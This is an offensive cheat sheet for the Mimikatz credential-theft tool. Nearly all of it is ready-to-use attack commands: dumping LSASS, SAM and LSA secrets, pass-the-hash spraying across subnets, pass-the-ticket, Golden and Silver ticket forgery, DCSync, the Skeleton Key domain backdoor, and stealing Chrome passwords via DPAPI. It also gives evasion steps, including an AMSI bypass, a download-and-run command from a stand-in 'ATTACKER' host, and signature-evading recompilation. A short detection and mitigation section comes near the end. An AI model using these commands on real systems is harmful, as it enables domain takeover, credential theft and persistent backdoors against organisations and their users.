Legend:
[LSASS]= Local Security Authority Subsystem Service |[NTLM]= NT LAN Manager Hash |[TGT]= Ticket Granting Ticket |[TGS]= Ticket Granting Service |[DC]= Domain Controller |[PTH]= Pass-the-Hash |[PTT]= Pass-the-Ticket |[GT]= Golden Ticket |[ST]= Silver Ticket |[DCSync]= Domain Controller Sync |[AD]= Active Directory
1. What is Mimikatz?
| Field | Details |
|---|---|
| Author | Benjamin Delpy (@gentilkiwi) |
| Language | C |
| First Released | 2011 |
| GitHub | https://github.com/gentilkiwi/mimikatz |
| Nickname | "The AK-47 of Cyber" |
Mimikatz is an open-source Windows post-exploitation tool that extracts plaintext passwords, NTLM hashes, Kerberos tickets, and other authentication material from Windows memory (LSASS) and Active Directory. Originally created as a proof-of-concept to demonstrate Windows credential weaknesses, it is now the most widely used credential dumping tool by both red teamers and real-world threat actors.
MITRE ATT&CK Mappings
| Technique ID | Description |
|---|---|
| T1003.001 | OS Credential Dumping: LSASS Memory |
| T1003.006 | OS Credential Dumping: DCSync |
| T1550.002 | Use Alternate Auth Material: Pass the Hash |
| T1550.003 | Use Alternate Auth Material: Pass the Ticket |
| T1558.001 | Steal or Forge Kerberos Tickets: Golden Ticket |
| T1558.002 | Steal or Forge Kerberos Tickets: Silver Ticket |
| T1134 | Access Token Manipulation |
| T1098 | Account Manipulation |
2. How Mimikatz Works
2.1 Windows Authentication Background
msv1_0.dll→ NTLM authentication (hashes)kerberos.dll→ Kerberos tickets (TGT/TGS)wdigest.dll→ WDigest (PLAINTEXT — if enabled!)tspkg.dll→ Terminal Services / RDP credslivessp.dll→ Windows Live credsssp.dll→ Security Support Provider
LSASS = the goldmine! All logged-in user credentials reside in
lsass.exememory. Dump LSASS = dump everything.
2.2 Mimikatz Execution Flow
- Privilege Escalation — Request
SeDebugPrivilegeviaprivilege::debug - Memory Access — Open handle to
lsass.exeusingOpenProcess,ReadProcessMemory - Parsing & Extraction — Parse internal LSASS structures; extract passwords, hashes, tickets
- Presentation — Display or export credentials; log via
log mimikatz_output.txt
2.3 LSASS Memory Structure
lsass.exe memory:
├── LogonSessionList
│ ├── UserName
│ ├── LogonDomain
│ └── Credentials
│ ├── NtOwfPassword ← NTLM hash!
│ ├── LmOwfPassword ← LM hash (legacy)
│ └── ShaOwfPassword ← SHA1 hash
└── KerberosLogonSessions
├── TGT ← Ticket Granting Ticket
└── TGS[] ← Service Tickets
3. Setup & Invocation
3.1 Download & Run
# Official release → https://github.com/gentilkiwi/mimikatz/releases
# Run interactively
.\mimikatz.exe
# Run a single command
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# Log all output to file
.\mimikatz.exe "log C:\temp\out.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"
3.2 Privilege Requirements
# Check your privileges
whoami /priv
# Look for: SeDebugPrivilege (Enabled)
# Request debug privilege inside mimikatz
mimikatz # privilege::debug
# Output: Privilege '20' OK → success!
# FAIL → not admin → escalate first!
3.3 Prompt Reference
mimikatz # command::subcommand [/option:value]
Examples:
privilege::debug → module=privilege, command=debug
sekurlsa::logonpasswords → module=sekurlsa, command=logonpasswords
lsadump::dcsync → module=lsadump, command=dcsync
General:
cls → clear screen
version → show version
log output.txt → log to file
exit → quit
!dir → run shell command
4. Core Modules Reference
| Module | Description |
|---|---|
privilege |
Token privilege manipulation (SeDebugPrivilege) |
sekurlsa |
LSASS memory credential extraction (MAIN MODULE) |
kerberos |
Kerberos ticket operations |
lsadump |
LSA secrets, SAM DB, DCSync |
crypto |
Certificate and key operations |
token |
Windows access token manipulation |
vault |
Windows Credential Vault dumping |
dpapi |
DPAPI secret decryption (browser passwords, certs) |
net |
Network operations |
process |
Process manipulation |
service |
Windows service manipulation |
event |
Windows event log manipulation |
ts |
Terminal Services / RDP credential operations |
misc |
Miscellaneous utilities |
5. Credential Dumping Techniques
5.1 sekurlsa::logonpasswords — The Main Dump
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
# Example output:
# Authentication Id : 0 ; 1234567
# User Name : Administrator
# Domain : CORP
# Logon Server : DC01
# msv:
# * NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
# wdigest:
# * Password : P@ssw0rd123! ← PLAINTEXT (if WDigest enabled!)
# Other sekurlsa commands:
mimikatz # sekurlsa::msv # NTLM hashes only
mimikatz # sekurlsa::wdigest # plaintext passwords
mimikatz # sekurlsa::kerberos # Kerberos credentials
mimikatz # sekurlsa::tspkg # RDP credentials
mimikatz # sekurlsa::ekeys # encryption keys
mimikatz # sekurlsa::tickets /export # export .kirbi files
5.2 LSASS Dump → Offline Analysis
# Method 1: Task Manager (GUI)
# Task Manager → Details → lsass.exe → Right-click → Create dump file
# Method 2: ProcDump (Sysinternals)
.\procdump.exe -accepteula -ma lsass.exe C:\temp\lsass.dmp
# Method 3: comsvcs.dll (LOLBin — no extra tools needed!)
$lsasspid = (Get-Process lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump $lsasspid C:\temp\lsass.dmp full
# Method 4: NanoDump (EDR Bypass)
./nanodump --write C:\temp\lsass.dmp --valid --fork
# Analyze dump offline with Mimikatz
mimikatz # sekurlsa::minidump C:\temp\lsass.dmp
mimikatz # sekurlsa::logonpasswords
# Analyze on Linux with pypykatz
pip3 install pypykatz
pypykatz lsa minidump lsass.dmp
5.3 SAM Database Dump
# Method 1: lsadump::sam (requires SYSTEM)
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam
# Method 2: reg save + impacket (no Mimikatz on disk)
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM
reg save HKLM\SECURITY C:\temp\SECURITY
# Offline analysis:
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
# Method 3: Volume Shadow Copy
vssadmin list shadows
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
5.4 LSA Secrets Dump
# LSA Secrets = service passwords, cached domain creds, DPAPI keys
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::secrets
# Example output:
# Secret : _SC_BackupService
# cur/text: ServiceP@ss123! ← service account password!
# Secret : DPAPI_SYSTEM ← DPAPI master key!
# Secret : $MACHINE.ACC ← machine account password!
# Cached domain logon creds (DCC2) — crack with hashcat -m 2100
mimikatz # lsadump::cache
# * Username : jsmith
# * Hash : $DCC2$10240#jsmith#3a...
6. Pass-the-Hash (PTH)
PTH uses a stolen NTLM hash directly for authentication without knowing the plaintext password. Windows NTLM authentication accepts the hash itself as proof of identity — no cracking needed.
Normal: Password → Hash → Sent to server
PTH: Stolen Hash → Sent directly to server (no password needed!)
# PTH with Mimikatz — spawns new process as target user
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:Administrator /domain:CORP.LOCAL /ntlm:NTLM_HASH /run:cmd.exe
# → Opens cmd.exe authenticated as Administrator!
# PTH to get PowerShell session
mimikatz # sekurlsa::pth /user:Administrator /domain:CORP.LOCAL /ntlm:NTLM_HASH /run:powershell.exe
# In new PS window:
Enter-PSSession -ComputerName TARGET_PC
# PTH from Linux with impacket
impacket-psexec CORP/Administrator@192.168.1.10 -hashes :NTLM_HASH
impacket-wmiexec CORP/Administrator@192.168.1.10 -hashes :NTLM_HASH
impacket-smbexec CORP/Administrator@192.168.1.10 -hashes :NTLM_HASH
# PTH with CrackMapExec (spray entire subnet!)
crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH
crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH -x "whoami"
crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH --sam
7. Pass-the-Ticket (PTT)
PTT injects a stolen Kerberos ticket into memory, allowing impersonation of that user on any service the ticket grants access to — without needing the password or hash.
| Ticket Type | Description |
|---|---|
| TGT (Ticket Granting Ticket) | Issued by KDC after auth; used to request service tickets; encrypted with KRBTGT hash |
| TGS (Ticket Granting Service) | Issued for a specific service (SMB, HTTP, MSSQL...); encrypted with service account hash |
# Step 1: Export all Kerberos tickets to .kirbi files
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
# OR:
mimikatz # kerberos::list /export
# Step 2: View tickets in memory
mimikatz # kerberos::list
# Step 3: Inject (import) a ticket
mimikatz # kerberos::ptt [0;12345]-0-0-40e10000-Administrator@krbtgt-CORP.LOCAL.kirbi
# Verify injection
klist
# Use the injected ticket
dir \\FILESERVER\C$
Enter-PSSession FILESERVER
# Purge all tickets (cleanup)
mimikatz # kerberos::purge
# PTT from Linux
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec -k -no-pass CORP/Administrator@FILESERVER.CORP.LOCAL
8. Golden Ticket Attack
The Golden Ticket is the most powerful Kerberos attack. Using the KRBTGT hash (the master signing key for ALL domain tickets), you can forge TGTs for ANY user with ANY privileges, valid for ANY duration. Persists until KRBTGT password is reset TWICE.
Golden Ticket = Forged TGT signed with KRBTGT hash
→ Valid for ANY service in the domain
→ Can set expiry to years
→ Impersonate ANY user including non-existent ones
→ Survives victim's password change
→ Persists until KRBTGT reset x2!
Step 1 — Get KRBTGT Hash
# Method A: DCSync (requires Domain Admin)
mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:krbtgt
# Output:
# * SAMAccountName : krbtgt
# Hash NTLM: 1234abcd5678efgh... ← THE KRBTGT HASH!
# Also get Domain SID:
whoami /user
# S-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ-1234
# Domain SID = everything before the last -XXXX
Step 2 — Forge Golden Ticket
# Create and inject Golden Ticket (in-memory — no file written!)
mimikatz # kerberos::golden ^
/user:FakeAdmin ^
/domain:CORP.LOCAL ^
/sid:S-1-5-21-DOMAIN_SID ^
/krbtgt:KRBTGT_NTLM_HASH ^
/id:500 ^
/groups:512,513,518,519,520 ^
/ptt
# OR save to file first
mimikatz # kerberos::golden ^
/user:Administrator ^
/domain:CORP.LOCAL ^
/sid:S-1-5-21-DOMAIN_SID ^
/krbtgt:KRBTGT_HASH ^
/ticket:golden.kirbi
# Inject from file
mimikatz # kerberos::ptt golden.kirbi
# Use it!
dir \\DC01\C$
dir \\DC01\ADMIN$
Enter-PSSession -ComputerName DC01
Group RIDs Reference
| RID | Group |
|---|---|
| 512 | Domain Admins |
| 513 | Domain Users |
| 518 | Schema Admins |
| 519 | Enterprise Admins |
| 520 | Group Policy Creator Owners |
Cross-Domain Golden Ticket
# Target Enterprise Admin (cross-domain!)
mimikatz # kerberos::golden ^
/user:Administrator ^
/domain:child.CORP.LOCAL ^
/sid:S-1-5-21-CHILD_DOMAIN_SID ^
/sids:S-1-5-21-PARENT_DOMAIN_SID-519 ^
/krbtgt:CHILD_KRBTGT_HASH ^
/ptt
9. Silver Ticket Attack
A Silver Ticket is a forged Kerberos TGS signed with a service account hash (not KRBTGT). Grants access to ONE specific service. Never touches the Domain Controller — making it stealthier than Golden Tickets.
Silver Ticket = Forged TGS for a specific service
→ Only requires SERVICE ACCOUNT hash (not KRBTGT!)
→ Bypasses KDC entirely (zero DC logs!)
→ Limited to one service
→ Stealthier than Golden Ticket!
# Forge Silver Ticket for CIFS (file share)
mimikatz # kerberos::golden ^
/user:Administrator ^
/domain:CORP.LOCAL ^
/sid:S-1-5-21-DOMAIN_SID ^
/target:FILESERVER.CORP.LOCAL ^
/service:cifs ^
/rc4:SERVICE_ACCOUNT_NTLM_HASH ^
/ptt
# → Access \\FILESERVER\C$ without touching DC!
# WSMAN Silver Ticket (PS Remoting)
mimikatz # kerberos::golden ^
/user:Administrator ^
/domain:CORP.LOCAL ^
/sid:S-1-5-21-DOMAIN_SID ^
/target:SERVER.CORP.LOCAL ^
/service:wsman ^
/rc4:SERVICE_NTLM_HASH ^
/ptt
Enter-PSSession -ComputerName SERVER.CORP.LOCAL
Common Service SPNs for Silver Tickets
| SPN | Access |
|---|---|
cifs |
SMB file shares (\\SERVER\share) |
host |
WMI, PS remoting, scheduled tasks |
http |
IIS web services, WinRM |
rpcss |
Remote registry, DCOM |
ldap |
LDAP queries |
mssql |
SQL Server |
wsman |
PowerShell remoting / WinRM |
10. DCSync Attack
DCSync simulates a Domain Controller replication request using MS-DRSR protocol, pulling password hashes for any AD account directly from the DC — without running code on the DC itself.
Normal AD Replication:
DC1 → "Give me changes" → DC2 → Returns account hashes
DCSync Abuse:
Your Machine → "Give me KRBTGT hash" → DC (via DRSR)
DC → Returns hash (thinks it's talking to another DC!)
# DCSync single account
mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:krbtgt
mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:Administrator
# DCSync ALL domain hashes
mimikatz # lsadump::dcsync /domain:CORP.LOCAL /all /csv
# lsadump::lsa (run ON the DC directly)
mimikatz # privilege::debug
mimikatz # lsadump::lsa /patch
# DCSync from Linux (impacket)
impacket-secretsdump CORP/DomainAdmin:Password@DC01.CORP.LOCAL
impacket-secretsdump -hashes :NTLM_HASH CORP/DomainAdmin@DC01.CORP.LOCAL
# Find who has DCSync rights (misconfiguration check)
Import-Module PowerView
Get-ObjectAcl -DistinguishedName "DC=CORP,DC=LOCAL" -ResolveGUIDs | `
Where-Object { $_.ObjectType -match "DS-Replication-Get-Changes" }
11. Token Manipulation
Windows tokens represent the authentication context of a process. Mimikatz can steal, duplicate, and impersonate tokens from other processes — acting as another user (SYSTEM, Domain Admin) without their credentials.
# List available tokens
mimikatz # privilege::debug
mimikatz # token::list
# PID=4 NT AUTHORITY\SYSTEM
# PID=4128 CORP\DomainAdmin ← steal this!
# Elevate to SYSTEM
mimikatz # token::elevate
# Impersonate first Domain Admin found in processes
mimikatz # token::elevate /domainadmin
# Impersonate by PID
mimikatz # token::elevate /id:4128
# Revert to original token
mimikatz # token::revert
# Spawn process as another user's token
mimikatz # token::run /process:cmd.exe /user:DomainAdmin
12. Skeleton Key Attack
Skeleton Key patches LSASS on a Domain Controller to accept "mimikatz" as a master password for ANY domain account, while real passwords still work. In-memory only — disappears on DC reboot.
After injection:
Real password → still works ✓
"mimikatz" → also works ✓ (for ANY account!)
# Inject Skeleton Key (must run ON the DC!)
mimikatz # privilege::debug
mimikatz # misc::skeleton
# Output: "Patch OK for 'NTLM'"
# Login to any domain account using master password
net use \\DC01\C$ /user:CORP\Administrator mimikatz
# → Grants access even though "mimikatz" isn't the real password!
Enter-PSSession -ComputerName WORKSTATION -Credential (
New-Object PSCredential("CORP\jsmith",
(ConvertTo-SecureString "mimikatz" -AsPlainText -Force)))
⚠️ Does NOT persist across reboots. Does NOT work if LSA Protection (PPL) is enabled.
13. DPAPI Secrets
DPAPI (Data Protection API) is Windows' built-in encryption used by Chrome/Edge for saved passwords, Outlook credentials, RDP passwords, and WiFi keys. Mimikatz decrypts these using the user's master key or the domain backup key.
# Step 1: Get domain DPAPI backup key (decrypts ANY user's data!)
mimikatz # privilege::debug
mimikatz # lsadump::backupkeys /system:DC01.CORP.LOCAL /export
# Saves: ntds_capi_0_*.pvk
# Step 2: Decrypt a user's MasterKey
mimikatz # dpapi::masterkey ^
/in:"C:\Users\jsmith\AppData\Roaming\Microsoft\Protect\S-1-5-21-...\GUID" ^
/pvk:ntds_capi_0_backup.pvk
# Step 3: Dump Chrome saved passwords
mimikatz # dpapi::chrome ^
/in:"C:\Users\jsmith\AppData\Local\Google\Chrome\User Data\Default\Login Data" ^
/unprotect
# → ALL Chrome passwords in plaintext!
# Dump Windows Credential Manager (RDP, mapped drives, etc.)
mimikatz # vault::list
mimikatz # vault::cred
# Dump WiFi passwords
mimikatz # misc::wifi
14. Mimikatz in Metasploit
Kiwi = Mimikatz integrated directly into Meterpreter.
# Load kiwi after getting Meterpreter shell
meterpreter > load kiwi
# Dump all credentials (sekurlsa::logonpasswords equivalent)
meterpreter > creds_all
meterpreter > lsa_dump_secrets
# Dump NTLM hashes
meterpreter > creds_msv
# Dump Kerberos tickets
meterpreter > creds_kerberos
meterpreter > kerberos_ticket_list
meterpreter > kerberos_ticket_use /path/to/ticket.kirbi
# DCSync
meterpreter > dcsync_ntlm krbtgt
meterpreter > dcsync_ntlm Administrator
# Golden Ticket
meterpreter > golden_ticket_create -u Administrator -d CORP.LOCAL -s S-1-5-21-... -k KRBTGT_HASH -t /tmp/golden.kirbi
meterpreter > kerberos_ticket_use /tmp/golden.kirbi
# Misc
meterpreter > vault_list
meterpreter > wifi_list
meterpreter > kiwi_cmd misc::skeleton
15. OPSEC & AV Evasion
15.1 In-Memory Execution (No Disk Touch)
# Invoke-Mimikatz via PowerShell (no binary on disk!)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
Invoke-Mimikatz -DumpCreds
Invoke-Mimikatz -DumpCerts
# AMSI Bypass + in-memory load
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
$bytes = (New-Object Net.WebClient).DownloadData('http://ATTACKER/mimikatz.exe')
[System.Reflection.Assembly]::Load($bytes)
15.2 LSASS Dump Without Touching LSASS Directly
# comsvcs.dll — native Windows LOLBin
$pid = (Get-Process lsass).Id
rundll32 C:\windows\system32\comsvcs.dll, MiniDump $pid dump.dmp full
# NanoDump — evasive, no direct handle
.\nanodump.exe --write dump.dmp --valid --fork
# Analyze on Linux (no Windows needed!)
pip3 install pypykatz
pypykatz lsa minidump lsass.dmp
15.3 Custom Build (Bypass Static Signatures)
# Compile from source with modified strings
git clone https://github.com/gentilkiwi/mimikatz.git
# In globals.h: rename MIMIKATZ string, author, version
# Recompile in Visual Studio 2022
# → Custom build evades most static AV signatures!
# Cobalt Strike: execute-assembly (never touches disk)
execute-assembly /path/to/mimikatz.exe "sekurlsa::logonpasswords"
16. Detection & Defense
16.1 Key Event IDs to Monitor
| Event ID | Source | Alert On |
|---|---|---|
| 4688 | Windows Security | Process creation: mimikatz.exe, mimilib.dll |
| 4656/4663 | Windows Security | lsass.exe opened for PROCESS_VM_READ |
| 10 | Sysmon | TargetImage=lsass.exe; GrantedAccess=0x1010 |
| 4768/4769 | Windows Security | TGT lifetime > 10hrs (Golden Ticket!); RC4 encryption on modern systems |
| 4624 + NTLM | Windows Security | Type 3 logon from unexpected source (PTH!) |
| 4662 | Windows Security | DS-Replication-Get-Changes-All from non-DC IP (DCSync!) |
| 4673 | Windows Security | Sensitive privilege use (Skeleton Key indicator) |
16.2 Mitigations
| Mitigation | What it Blocks |
|---|---|
| Credential Guard (Windows 10+) | Isolates LSASS in Hyper-V container; blocks sekurlsa::logonpasswords, PTH, Golden/Silver Tickets |
| LSA Protection (RunAsPPL) | Marks LSASS as PPL; prevents admin reads of LSASS memory |
| Disable WDigest | Eliminates plaintext passwords from LSASS (UseLogonCredential = 0) |
| Disable NTLM | Forces Kerberos-only; blocks PTH entirely |
| Protected Users Group | Prevents NTLM auth, credential caching, RC4 Kerberos for privileged users |
| Tiered Admin Model | Admin accounts never log into lower-tier systems; prevents credential exposure |
| Reset KRBTGT x2 | Invalidates all existing Golden Tickets |
| Privileged Access Workstations (PAW) | Dedicated clean machines; admin creds only used on PAWs |
# Disable WDigest (CRITICAL on legacy systems!)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" `
-Name "UseLogonCredential" -Value 0
# Enable LSA Protection
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
-Name "RunAsPPL" -Value 1
# Reset KRBTGT password (twice, 24-36hrs apart)
# Tool: New-KrbtgtKeys.ps1 (Microsoft)
17. Complete Cheat Sheet
17.1 Essential Commands Reference
# === ALWAYS START WITH ===
mimikatz # privilege::debug # get SeDebugPrivilege
mimikatz # token::elevate # get SYSTEM token
# === CREDENTIAL DUMPING ===
mimikatz # sekurlsa::logonpasswords # MAIN: dump all creds
mimikatz # sekurlsa::wdigest # plaintext (if WDigest on)
mimikatz # sekurlsa::msv # NTLM hashes only
mimikatz # sekurlsa::kerberos # Kerberos credentials
mimikatz # sekurlsa::tspkg # RDP credentials
mimikatz # sekurlsa::tickets /export # export .kirbi files
mimikatz # lsadump::sam # local SAM hashes
mimikatz # lsadump::secrets # LSA secrets
mimikatz # lsadump::cache # cached domain creds (DCC2)
mimikatz # lsadump::lsa /patch # all domain hashes (on DC)
# === DCSYNC ===
mimikatz # lsadump::dcsync /user:krbtgt # KRBTGT hash
mimikatz # lsadump::dcsync /user:Administrator # DA hash
mimikatz # lsadump::dcsync /all /csv # ALL hashes
# === PASS THE HASH ===
mimikatz # sekurlsa::pth /user:Admin /domain:CORP.LOCAL /ntlm:HASH /run:cmd.exe
# === PASS THE TICKET ===
mimikatz # kerberos::list /export # export tickets
mimikatz # kerberos::ptt ticket.kirbi # inject ticket
mimikatz # kerberos::purge # purge all tickets
# === GOLDEN TICKET ===
mimikatz # kerberos::golden /user:Admin /domain:CORP.LOCAL /sid:S-1-5-21-... /krbtgt:HASH /ptt
# === SILVER TICKET ===
mimikatz # kerberos::golden /user:Admin /domain:CORP.LOCAL /sid:S-1-5-21-... /target:SERVER /service:cifs /rc4:SVCACCT_HASH /ptt
# === SKELETON KEY (run ON the DC!) ===
mimikatz # misc::skeleton # master password = "mimikatz"
# === TOKEN MANIPULATION ===
mimikatz # token::list # list available tokens
mimikatz # token::elevate # elevate to SYSTEM
mimikatz # token::elevate /domainadmin # impersonate domain admin
mimikatz # token::revert # back to original
# === DPAPI & VAULT ===
mimikatz # dpapi::chrome /in:"PATH\Login Data" /unprotect
mimikatz # vault::list
mimikatz # vault::cred
mimikatz # misc::wifi # WiFi passwords
# === OFFLINE LSASS DUMP (LOLBin) ===
rundll32 C:\windows\system32\comsvcs.dll, MiniDump (Get-Process lsass).Id dump.dmp full
# === OFFLINE ANALYSIS ===
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
17.2 Attack Scenario Reference
| Scenario | Technique | Command |
|---|---|---|
| Local admin on workstation | Dump all creds | sekurlsa::logonpasswords |
| Got DA hash, no password | Authenticate | sekurlsa::pth |
| Domain Admin on DC | Dump ALL domain hashes | lsadump::dcsync /all |
| Need persistent DA access | Forge Golden Ticket | kerberos::golden /ptt |
| Target specific service | Forge Silver Ticket | kerberos::golden /service:cifs |
| Backdoor entire domain | Skeleton Key on DC | misc::skeleton |
| Lateral movement | PTH or PTT | sekurlsa::pth / kerberos::ptt |
| Steal browser passwords | DPAPI dump | dpapi::chrome |
| Post-incident persistence | Long-lived Golden Ticket | /endin:525600 (1 year) |
17.3 Severity Reference
| Technique | Requires | Impact | Persistence |
|---|---|---|---|
sekurlsa::logonpasswords |
Local Admin + SeDebug | Plaintext / Hashes | No |
lsadump::sam |
SYSTEM | Local hashes | No |
lsadump::dcsync |
DA / Replication Rights | ALL domain hashes | No |
| Pass-the-Hash | NTLM hash | Lateral movement | No |
| Pass-the-Ticket | Kerberos ticket | Lateral movement | Session only |
| Golden Ticket | KRBTGT hash | Full domain forever | Until KRBTGT reset ×2 |
| Silver Ticket | Service acct hash | Specific service access | Until svc password reset |
| Skeleton Key | DA + DC access | Universal backdoor | Until DC reboot |
| DPAPI Chrome dump | User context | All browser passwords | No |